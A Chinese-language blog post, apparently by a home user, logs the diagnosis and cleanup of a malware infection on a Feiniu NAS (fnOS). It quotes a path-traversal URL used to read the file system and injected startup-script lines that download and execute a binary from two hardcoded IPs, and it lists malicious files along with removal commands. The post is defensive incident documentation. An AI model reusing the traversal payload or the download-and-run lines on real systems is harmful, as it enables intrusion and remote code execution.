记录一次飞牛NAS (fnos) 中毒排查与修复全过程

摘要：记录了从发现网络异常、定位漏洞到清除恶意代码的完整过程。涉及大量异常请求、系统漏洞利用及恶意脚本的手动清理。

1月22日：初现端倪

发现网络经常断线，检查路由发现飞牛NAS（fnos）的请求数达到惊人的 20W+。

• 临时措施：在路由器端限制了NAS的连接数。
• 跟进：在论坛发帖询问。当天晚间客服联系要求远程排查，因NAS不在身边暂时搁置。

1月23日：尝试升级

客服联系建议升级至 v1.1.15 版本。升级后观察，网络异常消停了几天。

1月24日：漏洞预警

论坛出现相关讨论帖，指出系统可能存在高危漏洞。

参考帖子：飞牛NAS系统可能存在漏洞

漏洞原理：
通过特定URL路径可直接遍历文件系统：
地址/app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../

1月25日：解除限制

观察情况稳定，解除了路由器的NAS连接数限制。

1月31日：病毒复发与深度查杀

情况复现，网络再次频繁断线。

• 异常连接：发现同一IP 103.248.152.136 发起大量请求。
• 尝试方案：参考 V2EX相关讨论 使用了一些专杀脚本，但治标不治本，重启后病毒依旧存在。

1. 溯源分析

检查系统文件，在 /usr/trim/bin/system_startup.sh 中发现了恶意代码注入：

# 查看启动脚本
cat /usr/trim/bin/system_startup.sh

文件内容分析：
正常逻辑部分：

STATUS="/var/lib/dpkg/status"
BACKUP="/var/lib/dpkg/status.original"

if [ ! -f "$BACKUP" ]; then
    if [ -f "$STATUS" ]; then
        cp "$STATUS" "$BACKUP"
    fi
fi

if [ ! -f "$STATUS" ]; then
    if [ -f "$BACKUP" ]; then
        cp "$BACKUP" "$STATUS"
    fi
fi

注入的恶意代码部分：

rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*

# 恶意下载并执行
wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
wget http://43.198.11.122/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp

# 因为地址无法访问了，获取不到具体恶意脚本内容

2. 清理与修复

首先执行社区提供的病毒专杀脚本：

Github Gist: 病毒专杀脚本

执行完脚本重启后，发现 /usr/lib/systemd/system/ 目录下仍有一些新创建的可疑文件。

待删除的恶意文件列表：
总的建议是查看这些目录下的文件生成日期，22号之后都比较可疑。目前已知文件名如下

• /sbin/gots
• /usr/bin/dockers
• /usr/trim/bin/wsdd2
• /usr/bin/SazW
• /usr/bin/nginx (注意区分系统自带nginx，确认是恶意文件再删)
• /usr/lib/systemd/system/SazW.service
• /usr/lib/systemd/system/nginx.service
• /usr/lib/systemd/system/dockers.service
• /usr/lib/systemd/system/trim_pap.service
• /usr/lib/systemd/system/sync_server.service

彻底删除步骤：
由于病毒通常会给文件加上 i 属性（不可修改），直接删除会失败。需要先解锁再删除。

# 1. 去除“不可修改”属性 (以 gots 为例，其他文件同理)
chattr -i /sbin/gots
# 建议批量解锁，例如： chattr -i /usr/bin/dockers /usr/trim/bin/wsdd2 ...

# 2. 强制删除
rm -f /sbin/gots

# 3. 检查是否删除成功
ls -l /sbin/gots

最后检查了系统的 Crontab 定时任务，暂未发现异常情况。

也可以试下这些命令，然后重启看看是否还有新的病毒文件生成。

# 1. 停止并禁用恶意服务 (防止进程占用导致无法删除)
# 注意：如果服务已经挂掉或不存在，报错可忽略
systemctl stop SazW nginx dockers trim_pap sync_server
systemctl disable SazW nginx dockers trim_pap sync_server

# 2. 批量解锁文件权限 (去除 immutable 属性)
chattr -i /sbin/gots \
          /usr/bin/dockers \
          /usr/trim/bin/wsdd2 \
          /usr/bin/SazW \
          /usr/bin/nginx \
          /usr/lib/systemd/system/SazW.service \
          /usr/lib/systemd/system/nginx.service \
          /usr/lib/systemd/system/dockers.service \
          /usr/lib/systemd/system/trim_pap.service \
          /usr/lib/systemd/system/sync_server.service

# 3. 强制删除恶意文件及服务配置
rm -rf /sbin/gots \
       /usr/bin/dockers \
       /usr/trim/bin/wsdd2 \
       /usr/bin/SazW \
       /usr/bin/nginx \
       /usr/lib/systemd/system/SazW.service \
       /usr/lib/systemd/system/nginx.service \
       /usr/lib/systemd/system/dockers.service \
       /usr/lib/systemd/system/trim_pap.service \
       /usr/lib/systemd/system/sync_server.service

# 4. 重载 systemd 守护进程 (让系统知道服务已被删除)
systemctl daemon-reload

# 5. 再次检查确认 (如果输出为空，则说明删除干净)
ls -l /sbin/gots /usr/bin/dockers /usr/trim/bin/wsdd2 /usr/bin/SazW

至此，可以重启看看是否还会有病毒文件生成。

最后说一句，关于这次事件飞牛官方人员的解释：

1月31号大爆发了还这么说，也不提示用户进行更新，感觉不拿用户当回事。
图片出处
用户WDDXH提交的0day证据：

可以看出使用官方的域名访问也是一样的情况

2月2日：官方发布查杀指南

参考链接：图片公告
文字教程：文字教程
官方修复脚本：

curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec

具体漏洞细节可以查看epcdiy:【用户文件随便看！我们分析了知名NAS漏洞前世今生-哔哩哔哩】